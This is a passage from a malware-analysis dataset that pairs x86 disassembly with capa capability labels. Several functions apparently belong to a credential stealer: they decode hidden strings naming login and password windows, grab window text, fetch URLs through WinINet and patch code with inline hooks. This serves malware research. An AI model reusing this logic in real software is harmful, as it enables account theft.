joyce8/EMBER2024-capa huggingface dataset:
Function at 0x474ad1
Capabilities:
Get thread local storage value

Disassembly:
push ebx
push esi
mov esi, ecx
push edi
lea ebx, [esi + 0x1c]
push ebx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov edi, dword [esp + 0x10]
test edi, edi
jle 0x474b06
cmp edi, dword [esi + 0xc]
jge 0x474b06
push dword [esi]
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
test eax, eax
je 0x474b06
cmp edi, dword [eax + 8]
jge 0x474b06
mov eax, dword [eax + 0xc]
mov edi, dword [eax + edi*4]
jmp 0x474b08
xor edi, edi
push ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov eax, edi
pop edi
pop esi
pop ebx
ret 4

Function at 0x474c0c
Capabilities:
Allocate thread local storage

Disassembly:
xor eax, eax
push esi
mov esi, ecx
mov dword [esi + 0x14], eax
mov dword [esi + 0x18], eax
mov dword [esi + 0x18], 4
mov dword [esi + 4], eax
mov dword [esi + 8], 1
mov dword [esi + 0xc], eax
mov dword [esi + 0x10], eax
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
cmp eax, 0xffffffff
mov dword [esi], eax
jne 0x474c40
jmp fcn.00467aac
lea eax, [esi + 0x1c]
push eax
call dword [sym.imp.KERNEL32.dll_InitializeCriticalSection]
mov eax, esi
pop esi
ret

Function at 0x474cb1
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov edi, ecx
lea esi, [edi + 0x1c]
push esi
mov dword [ebp - 4], esi
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov eax, dword [ebp + 8]
xor ebx, ebx
cmp eax, ebx
jle 0x474daa
cmp eax, dword [edi + 0xc]
jge 0x474daa
push dword [edi]
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
mov esi, eax
cmp esi, ebx
je 0x474d02
mov ecx, dword [ebp + 8]
cmp ecx, dword [esi + 8]
jl 0x474d93
cmp dword [ebp + 0xc], ebx
je 0x474d93
jmp 0x474d2c
push 0x10
call fcn.0047499d
cmp eax, ebx
je 0x474d18
mov ecx, eax
call fcn.00474c03
mov esi, eax
jmp 0x474d1a
xor esi, esi
mov dword [esi + 8], ebx
mov dword [esi + 0xc], ebx
mov ecx, dword [edi + 0x14]
mov eax, dword [edi + 0x18]
mov dword [esi + eax], ecx
mov dword [edi + 0x14], esi
mov eax, dword [esi + 0xc]
cmp eax, ebx
jne 0x474d43
mov eax, dword [edi + 0xc]
shl eax, 2
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
jmp 0x474d53
mov ecx, dword [edi + 0xc]
push 2
shl ecx, 2
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_LocalReAlloc]
cmp eax, ebx
jne 0x474d65
push dword [ebp - 4]
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
call fcn.00467aac
mov ecx, dword [esi + 8]
mov dword [esi + 0xc], eax
mov edx, dword [edi + 0xc]
sub edx, ecx
shl edx, 2
push edx
lea eax, [eax + ecx*4]
push ebx
push eax
call fcn.0044f4a0
mov eax, dword [edi + 0xc]
add esp, 0xc
push esi
mov dword [esi + 8], eax
push dword [edi]
call dword [sym.imp.KERNEL32.dll_TlsSetValue]
mov ecx, dword [ebp + 8]
mov eax, dword [esi + 0xc]
cmp eax, ebx
je 0x474da5
cmp ecx, dword [esi + 8]
jge 0x474da5
mov edx, dword [ebp + 0xc]
mov dword [eax + ecx*4], edx
push dword [ebp - 4]
jmp 0x474dab
push esi
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop edi
pop esi
pop ebx
leave
ret 8
Function at 0x474e69
Capabilities:
Get thread local storage value

Disassembly:
push ebx
push esi
mov esi, ecx
lea ebx, [esi + 0x1c]
push ebx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
cmp dword [esp + 0x10], 0
jne 0x474e97
push dword [esi]
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
test eax, eax
je 0x474eb5
push dword [esp + 0xc]
mov ecx, esi
push eax
call fcn.00474dd3
jmp 0x474eb5
mov eax, dword [esi + 0x14]
test eax, eax
je 0x474eb5
push edi
push dword [esp + 0x10]
mov edi, dword [eax + 4]
push eax
mov ecx, esi
call fcn.00474dd3
test edi, edi
mov eax, edi
jne 0x474e9f
pop edi
push ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop esi
pop ebx
ret 8
mov ecx, dword [0x4bea44]
test ecx, ecx
je 0x474f68
jmp 0x474e68
ret 8
Function at 0x10001009
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
push esi
push edi
nop
nop
mov edi, edi
mov ecx, ecx
and dword [ebp - 4], 0
lea eax, [ebp - 0x2c]
mov esi, 0x10005050
push eax
push esi
mov dword [ebp - 0x2c], 0x3930467b
mov dword [ebp - 0x28], 0x32413033
mov dword [ebp - 0x24], 0x39442d46
mov dword [ebp - 0x20], 0x342d3137
mov dword [ebp - 0x1c], 0x2d383238
mov dword [ebp - 0x18], 0x39303238
mov dword [ebp - 0x14], 0x4437422d
mov dword [ebp - 0x10], 0x36324446
mov dword [ebp - 0xc], 0x34444536
mov dword [ebp - 8], 0x7d34
call sub.MSVCRT.dll_strcpy
pop ecx
mov eax, esi
pop ecx
pop edi
pop esi
leave
ret

Function at 0x10001719
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x21c
push edi
nop
nop
mov edi, edi
mov ecx, ecx
and dword [ebp - 4], 0
push 0x10005010
mov dword [ebp - 0x1c], 0x623f7325
mov dword [ebp - 0x18], 0x2673253d
mov dword [ebp - 0x14], 0x73253d63
mov dword [ebp - 0x10], 0x253d6526
mov dword [ebp - 0xc], 0x6b712673
mov dword [ebp - 8], 0x313d
call fcn.100037d9
push eax
lea eax, [ebp - 0x21c]
push eax
call sub.MSVCRT.dll_strcpy
add esp, 0xc
lea eax, [ebp - 0x21c]
test eax, eax
pop edi
je 0x100017e0
lea eax, [ebp - 0x21c]
push eax
call sub.MSVCRT.dll_strlen
test eax, eax
pop ecx
jbe 0x100017e0
push 0x1000552c
push 0x100052c4
lea eax, [ebp - 0x21c]
push 0x10005290
push eax
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x21c]
push eax
call dword [sym.imp.MSVCRT.dll_sprintf]
lea eax, [ebp - 0x21c]
push eax
call fcn.10003070
add esp, 0x1c
test eax, eax
je 0x100017e0
cmp byte [eax], 0x31
push eax
jne 0x100017d9
call dword [sym.imp.MSVCRT.dll_free]
pop ecx
push 1
pop eax
leave
ret
call dword [sym.imp.MSVCRT.dll_free]
pop ecx
xor eax, eax
leave
ret
Function at 0x100023b1
Capabilities:
Contain obfuscated stackstrings
Get file size
Read .ini file
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x154
push ebx
push esi
push edi
nop
nop
mov edi, edi
mov ecx, ecx
mov eax, 0x76726553
mov esi, 0x100055b4
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x3c], eax
lea eax, [ebp - 0x50]
xor ebx, ebx
push eax
push 0x28
push esi
lea eax, [ebp - 0x18]
push 0x10005020
push eax
lea eax, [ebp - 0x28]
mov dword [ebp - 0x24], 0x614e7265
push eax
mov dword [ebp - 0x20], 0x656d
mov dword [ebp - 0x1c], ebx
mov dword [ebp - 0x18], 0x7473614c
mov dword [ebp - 0x14], 0x656d614e
mov dword [ebp - 0x10], ebx
mov dword [ebp - 0x50], 0x63655c2e
mov dword [ebp - 0x4c], 0x6f685c74
mov dword [ebp - 0x48], 0x692e656d
mov dword [ebp - 0x44], 0x696e
mov dword [ebp - 0x40], ebx
mov dword [ebp - 0x38], 0x694c7265
mov dword [ebp - 0x34], 0x442e7473
mov dword [ebp - 0x30], 0x7461
mov dword [ebp - 0x2c], ebx
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileStringA]
push esi
call sub.MSVCRT.dll_strlen
test eax, eax
pop ecx
ja 0x1000245a
xor eax, eax
jmp 0x10002546
lea eax, [ebp - 0x154]
push 0x104
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
lea eax, [ebp - 0x154]
push 0x5c
push eax
call dword [sym.imp.MSVCRT.dll_strrchr]
mov byte [eax + 1], bl
lea eax, [ebp - 0x3c]
push eax
lea eax, [ebp - 0x154]
push eax
call sub.MSVCRT.dll_strcat
add esp, 0x10
nop
nop
mov edi, edi
mov ecx, ecx
push ebx
push ebx
push 3
push ebx
push ebx
lea eax, [ebp - 0x154]
push 0x80000000
push eax
mov dword [ebp - 4], ebx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
push ebx
push eax
mov dword [ebp - 0xc], eax
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov edi, eax
lea eax, [edi + 1]
push eax
call dword [sym.imp.MSVCRT.dll_malloc]
mov dword [ebp - 8], eax
lea eax, [edi + 1]
push eax
push ebx
push dword [ebp - 8]
call sub.MSVCRT.dll_memset
add esp, 0x10
lea eax, [ebp - 4]
push ebx
push eax
push edi
push dword [ebp - 8]
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_ReadFile]
push dword [ebp - 0xc]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push esi
push dword [ebp - 8]
call dword [sym.imp.MSVCRT.dll_strstr]
pop ecx
cmp eax, ebx
pop ecx
je 0x10002539
mov edi, dword [sym.imp.MSVCRT.dll_strchr]
push 0x2c
push eax
call edi
mov esi, eax
push 0x2c
inc esi
push esi
call edi
push 0x28
push ebx
mov ebx, 0x1000558c
mov edi, eax
push ebx
call sub.MSVCRT.dll_memset
sub edi, esi
push edi
push esi
push ebx
call dword [sym.imp.MSVCRT.dll_strncpy]
add esp, 0x28
push dword [ebp - 8]
call dword [sym.imp.MSVCRT.dll_free]
pop ecx
push 1
pop eax
pop edi
pop esi
pop ebx
leave
ret

Function at 0x100025f6
Capabilities:
Create thread

Disassembly:
push edi
nop
nop
mov edi, edi
mov ecx, ecx
xor eax, eax
push eax
push eax
push eax
push 0x10002611
push eax
push eax
call dword [sym.imp.KERNEL32.dll_CreateThread]
pop edi
ret
Function at 0x1000274c
Capabilities:
Contain obfuscated stackstrings
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
push ebx
push esi
push edi
nop
nop
mov edi, edi
mov ecx, ecx
mov esi, dword [sym.imp.USER32.dll_FindWindowExA]
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
xor ebx, ebx
mov dword [ebp - 0x1c], 0x45324154
mov dword [ebp - 0x18], 0x746964
mov dword [ebp - 0x14], ebx
mov dword [ebp - 0x2c], 0x6d724654
mov dword [ebp - 0x28], 0x4f676f4c
mov dword [ebp - 0x24], 0x6e
mov dword [ebp - 0x20], ebx
lea eax, [ebp - 0x2c]
push ebx
push eax
push ebx
push dword [0x10005608]
call esi
push 0x64
mov dword [ebp - 0xc], eax
call edi
cmp dword [ebp - 0xc], ebx
je 0x10002792
mov dword [ebp - 4], ebx
mov dword [ebp - 8], ebx
cmp dword [ebp - 4], ebx
je 0x100027bc
cmp dword [ebp - 8], ebx
jne 0x100027de
lea eax, [ebp - 0x1c]
push ebx
push eax
push ebx
push dword [ebp - 0xc]
call esi
lea ecx, [ebp - 0x1c]
push ebx
push ecx
push eax
push dword [ebp - 0xc]
mov dword [ebp - 4], eax
call esi
push 0x64
mov dword [ebp - 8], eax
call edi
jmp 0x100027b2
push 0xfffffffffffffff4
push dword [ebp - 4]
call dword [sym.imp.USER32.dll_GetWindowLongA]
cmp eax, 0x1109c
jne 0x100027fb
mov eax, dword [ebp - 4]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 8]
jmp 0x10002804
mov eax, dword [ebp - 8]
mov dword [ebp - 0x10], eax
mov eax, dword [ebp - 4]
mov esi, dword [sym.imp.USER32.dll_GetWindowTextA]
mov dword [ebp - 8], eax
mov ebx, 0x100055e0
push dword [ebp - 0xc]
call dword [sym.imp.USER32.dll_IsWindowVisible]
test eax, eax
jne 0x10002839
push 0x1000565c
call sub.MSVCRT.dll_strlen
test eax, eax
pop ecx
jbe 0x10002839
push ebx
call sub.MSVCRT.dll_strlen
test eax, eax
pop ecx
ja 0x10002853
push 0x28
push 0x1000565c
push dword [ebp - 0x10]
call esi
push 0x28
push ebx
push dword [ebp - 8]
call esi
push 0xa
call edi
jmp 0x10002812
pop edi
pop esi
pop ebx
leave
ret

Function at 0x10002858
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x104
push ebx
push esi
push edi
nop
nop
mov edi, edi
mov ecx, ecx
mov edi, dword [sym.imp.MSVCRT.dll_strchr]
mov ebx, 0x100
push ebx
lea eax, [ebp - 0x104]
push 0
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp - 0x104]
push ebx
push eax
push dword [0x10005608]
call dword [sym.imp.USER32.dll_GetWindowTextA]
lea eax, [ebp - 0x104]
push 0x3a
push eax
call edi
mov esi, eax
push 0x3a
inc esi
push esi
call edi
mov dword [ebp - 4], eax
sub eax, esi
add esp, 0x10
test eax, eax
jg 0x100028c4
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x10002875
push 0x28
mov edi, 0x10005634
push 0
push edi
call sub.MSVCRT.dll_memset
mov eax, dword [ebp - 4]
sub eax, esi
push eax
push esi
push edi
call dword [sym.imp.MSVCRT.dll_strncpy]
add esp, 0x18
pop edi
pop esi
pop ebx
leave
ret
Function at 0x10002925
Capabilities:
Contain obfuscated stackstrings
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20
push ebx
push esi
push edi
nop
nop
mov edi, edi
mov ecx, ecx
mov esi, dword [sym.imp.USER32.dll_FindWindowExA]
xor edi, edi
lea eax, [ebp - 0x20]
push edi
push eax
push edi
push dword [0x10005608]
mov dword [ebp - 0x20], 0x6d724654
mov dword [ebp - 0x1c], 0x73736150
mov dword [ebp - 0x18], 0x637445
mov dword [ebp - 0x14], edi
mov dword [ebp - 0x10], 0x45324154
mov dword [ebp - 0xc], 0x746964
mov dword [ebp - 8], edi
call esi
mov ebx, eax
lea eax, [ebp - 0x10]
push edi
push eax
push edi
push ebx
call esi
mov esi, dword [sym.imp.USER32.dll_IsWindowVisible]
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
mov dword [ebp - 4], eax
push ebx
call esi
test eax, eax
jne 0x1000299a
push 0x64
call edi
jmp 0x1000298d
push ebx
call esi
test eax, eax
je 0x100029b7
push 0x28
push 0x10005564
push dword [ebp - 4]
call dword [sym.imp.USER32.dll_GetWindowTextA]
push 0x64
call edi
jmp 0x1000299a
call fcn.100025f6
pop edi
pop esi
pop ebx
leave
ret
Function at 0x10002c57
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10004100
push 0x10003a50
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x10
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
and dword [ebp - 4], 0
lea eax, [ebp - 0x20]
push eax
push 0x40
mov edi, dword [ebp + 0x10]
push edi
mov esi, dword [ebp + 8]
push esi
mov ebx, dword [sym.imp.KERNEL32.dll_VirtualProtect]
call ebx
lea eax, [edi + 5]
push eax
push 8
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov dword [ebp - 0x1c], eax
push edi
push esi
push eax
call sub.MSVCRT.dll_memcpy
mov ecx, dword [ebp - 0x1c]
lea eax, [ecx + edi]
mov byte [eax], 0xe9
mov edx, esi
sub edx, ecx
sub edx, 5
mov dword [eax + 1], edx
mov byte [esi], 0xe9
mov eax, dword [ebp + 0xc]
sub eax, esi
sub eax, 5
mov dword [esi + 1], eax
lea eax, [edi - 5]
push eax
push 0x90
lea eax, [esi + 5]
push eax
call sub.MSVCRT.dll_memset
add esp, 0x18
lea eax, [ebp - 0x20]
push eax
push dword [ebp - 0x20]
push edi
push esi
call ebx
or dword [ebp - 4], 0xffffffff
mov eax, dword [ebp - 0x1c]
jmp 0x10002d0c
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
leave
ret

Function at 0x10002d1b
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x10004110
push 0x10003a50
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0xc
push ebx
push esi
push edi
mov dword [ebp - 0x18], esp
and dword [ebp - 4], 0
lea eax, [ebp - 0x1c]
push eax
push 0x40
mov ebx, dword [ebp + 0x10]
push ebx
mov esi, dword [ebp + 8]
push esi
mov edi, dword [sym.imp.KERNEL32.dll_VirtualProtect]
call edi
mov byte [esi], 0xe9
mov eax, dword [ebp + 0xc]
sub eax, esi
sub eax, 5
mov dword [esi + 1], eax
lea eax, [ebx - 5]
push eax
push 0x90
lea eax, [esi + 5]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp - 0x1c]
push eax
push dword [ebp - 0x1c]
push ebx
push esi
call edi
or dword [ebp - 4], 0xffffffff
push 1
pop eax
jmp 0x10002d9f
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
leave
ret

Function at 0x10002e1e
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
push edi
nop
nop
mov edi, edi
mov ecx, ecx
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_Sleep]
push 0
call dword [sym.imp.KERNEL32.dll_ExitProcess]

Function at 0x10002e88
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push edi
nop
nop
mov edi, edi
mov ecx, ecx
mov edx, dword [ebp + 8]
xor eax, eax
test edx, edx
je 0x10002eb8
nop
nop
mov edi, edi
mov ecx, ecx
cmp word [edx], 0x5a4d
jne 0x10002eb8
mov ecx, dword [edx + 0x3c]
add ecx, edx
cmp dword [ecx], 0x4550
jne 0x10002eb8
mov eax, dword [ecx + 0x50]
pop edi
pop ebp
ret
Function at 0x10003070
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x274
push ebx
push esi
push edi
nop
nop
mov edi, edi
mov ecx, ecx
xor ebx, ebx
cmp dword [0x100056b8], ebx
je 0x100030a8
cmp dword [0x100056bc], ebx
je 0x100030a8
cmp dword [0x100056c0], ebx
je 0x100030a8
cmp dword [0x100056c4], ebx
jne 0x1000316c
mov eax, 0x74656e72
mov ecx, 0x65746e49
mov dword [ebp - 0x70], eax
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x58], eax
mov dword [ebp - 0x30], eax
lea eax, [ebp - 0x20]
mov edx, 0x6e65704f
push eax
mov dword [ebp - 0x20], 0x696e6977
mov dword [ebp - 0x1c], 0x2e74656e
mov dword [ebp - 0x18], 0x6c6c64
mov dword [ebp - 0x14], ebx
mov dword [ebp - 0x74], ecx
mov dword [ebp - 0x6c], 0x736f6c43
mov dword [ebp - 0x68], 0x6e614865
mov dword [ebp - 0x64], 0x656c64
mov dword [ebp - 0x60], ebx
mov dword [ebp - 0x48], ecx
mov dword [ebp - 0x40], edx
mov dword [ebp - 0x3c], 0x41
mov dword [ebp - 0x38], ebx
mov dword [ebp - 0x5c], ecx
mov dword [ebp - 0x54], edx
mov dword [ebp - 0x50], 0x416c7255
mov dword [ebp - 0x4c], ebx
mov dword [ebp - 0x34], ecx
mov dword [ebp - 0x2c], 0x64616552
mov dword [ebp - 0x28], 0x656c6946
mov dword [ebp - 0x24], ebx
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
lea eax, [ebp - 0x74]
push eax
push edi
call esi
mov dword [0x100056b8], eax
lea eax, [ebp - 0x48]
push eax
push edi
call esi
mov dword [0x100056bc], eax
lea eax, [ebp - 0x5c]
push eax
push edi
call esi
mov dword [0x100056c0], eax
lea eax, [ebp - 0x34]
push eax
push edi
call esi
mov dword [0x100056c4], eax
push ebx
push ebx
push ebx
mov esi, 0x200
push ebx
push ebx
mov dword [ebp - 8], esi
mov dword [ebp - 4], ebx
xor edi, edi
call dword [0x100056bc]
cmp eax, ebx
mov dword [ebp - 0x10], eax
je 0x10003249
push ebx
push 0x84000000
push ebx
push ebx
push dword [ebp + 8]
push eax
call dword [0x100056c0]
cmp eax, ebx
mov dword [ebp - 0xc], eax
je 0x10003240
push esi
call dword [sym.imp.MSVCRT.dll_malloc]
mov dword [ebp + 8], eax
pop ecx
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x274]
push esi
push eax
push dword [ebp - 0xc]
call dword [0x100056c4]
test eax, eax
je 0x1000322e
mov eax, dword [ebp - 4]
cmp eax, ebx
jbe 0x1000322a
add eax, edi
cmp eax, dword [ebp - 8]
jbe 0x100031f6
add dword [ebp - 8], esi
push dword [ebp - 8]
push dword [ebp + 8]
call dword [sym.imp.MSVCRT.dll_realloc]
pop ecx
cmp eax, ebx
pop ecx
je 0x1000322a
mov dword [ebp + 8], eax
push dword [ebp - 4]
lea eax, [ebp - 0x274]
push eax
mov eax, dword [ebp + 8]
add eax, edi
push eax
call sub.MSVCRT.dll_memcpy
add esp, 0xc
lea eax, [ebp - 4]
add edi, dword [ebp - 4]
push eax
lea eax, [ebp - 0x274]
push esi
push eax
push dword [ebp - 0xc]
call dword [0x100056c4]
test eax, eax
jne 0x100031d0
cmp edi, ebx
ja 0x1000323a
push dword [ebp + 8]
call dword [sym.imp.MSVCRT.dll_free]
pop ecx
jmp 0x10003240
mov eax, dword [ebp + 8]
mov byte [eax + edi], bl
push dword [ebp - 0xc]
call dword [0x100056b8]
push dword [ebp - 0x10]
call dword [0x100056b8]
xor eax, eax
cmp eax, edi
pop edi
sbb eax, eax
pop esi
and eax, dword [ebp + 8]
pop ebx
leave
ret
Function at 0x10003902
Capabilities:
Contain obfuscated stackstrings
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x7c
xor eax, eax
mov ecx, 0x43676552
mov dword [ebp - 4], eax
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x58], eax
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x6c], eax
push esi
mov dword [ebp - 0x20], ecx
mov dword [ebp - 0x54], ecx
lea eax, [ebp - 0x10]
push edi
mov edx, 0x53676552
mov ecx, 0x61567465
push eax
mov dword [ebp - 0x10], 0x41564441
mov dword [ebp - 0xc], 0x32334950
mov dword [ebp - 8], 0x6c6c642e
mov dword [ebp - 0x1c], 0x65736f6c
mov dword [ebp - 0x18], 0x79654b
mov dword [ebp - 0x50], 0x74616572
mov dword [ebp - 0x4c], 0x79654b65
mov dword [ebp - 0x48], 0x41
mov dword [ebp - 0x30], 0x4f676552
mov dword [ebp - 0x2c], 0x4b6e6570
mov dword [ebp - 0x28], 0x417965
mov dword [ebp - 0x68], 0x51676552
mov dword [ebp - 0x64], 0x79726575
mov dword [ebp - 0x60], 0x756c6156
mov dword [ebp - 0x5c], 0x41784565
mov dword [ebp - 0x40], edx
mov dword [ebp - 0x3c], ecx
mov dword [ebp - 0x38], 0x4165756c
mov dword [ebp - 0x7c], edx
mov dword [ebp - 0x78], ecx
mov dword [ebp - 0x74], 0x4565756c
mov dword [ebp - 0x70], 0x4178
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
lea eax, [ebp - 0x20]
push eax
push edi
call esi
mov dword [0x100059f0], eax
lea eax, [ebp - 0x54]
push eax
push edi
call esi
mov dword [0x100059e8], eax
lea eax, [ebp - 0x30]
push eax
push edi
call esi
mov dword [0x100059e0], eax
lea eax, [ebp - 0x68]
push eax
push edi
call esi
mov dword [0x100059e4], eax
lea eax, [ebp - 0x40]
push eax
push edi
call esi
mov dword [0x100059dc], eax
lea eax, [ebp - 0x7c]
push eax
push edi
call esi
pop edi
mov dword [0x100059ec], eax
pop esi
leave
ret
Function at 0x405c90
Capabilities:
Write file on windows

Disassembly:
cmp dword [0xa3d050], 0
je 0x405cfd
push esi
push eax
mov eax, dword [0xa3914c]
push 0x400
call dword [eax]
add esp, 4
test eax, eax
je 0x405cf9
mov esi, eax
mov eax, dword [esp + 0xc]
lea ecx, [esp + 0x10]
mov dword [esp], ecx
push ecx
push eax
push 0x400
push esi
call fcn.00409350
add esp, 0x10
test eax, eax
jle 0x405cee
cmp eax, 0x3ff
mov ecx, 0x3ff
cmovb ecx, eax
push dword [0xa3d050]
push ecx
push 1
push esi
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fwrite
add esp, 0x10
mov eax, dword [0xa39108]
push esi
call dword [eax]
add esp, 4
add esp, 4
pop esi
ret

Function at 0x406090
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
push ebx
push edi
push esi
mov esi, dword [esp + 0x28]
mov edi, dword [esp + 0x24]
mov edx, dword [esp + 0x20]
mov ebx, dword [esp + 0x1c]
mov ecx, dword [esp + 0x18]
mov eax, dword [esp + 0x14]
test esi, esi
je 0x4060d6
test byte [0xa3d055], 1
je 0x4060d6
mov ebp, dword [0xa3d058]
test ebp, ebp
je 0x4060fb
dec ebp
mov dword [0xa3d058], ebp
push edx
push ebx
push ecx
push eax
call dword [sym.imp.WS2_32.dll_send]
jmp 0x4060e4
push edx
push ebx
push ecx
push eax
call dword [sym.imp.WS2_32.dll_send]
test esi, esi
je 0x40614e
push eax
push ebx
push edi
push esi
push str.SEND__s:_d_send__lu____ld_n
mov esi, eax
call fcn.00405c90
mov eax, esi
add esp, 0x14
jmp 0x40614e
push str.send
push edi
push esi
push str.LIMIT__s:_d__s_reached_memlimit_n
call fcn.00405c90
add esp, 0x10
push 2
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
add esp, 4
push str.send
push edi
push esi
push str.LIMIT__s:_d__s_reached_memlimit_n
push eax
call fcn.0040b510
add esp, 0x14
push dword [0xa3d050]
call sub.api_ms_win_crt_stdio_l1_1_0.dll_fflush
add esp, 4
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__errno]
mov dword [eax], 0xc
mov eax, 0xffffffff
pop esi
pop edi
pop ebx
pop ebp
ret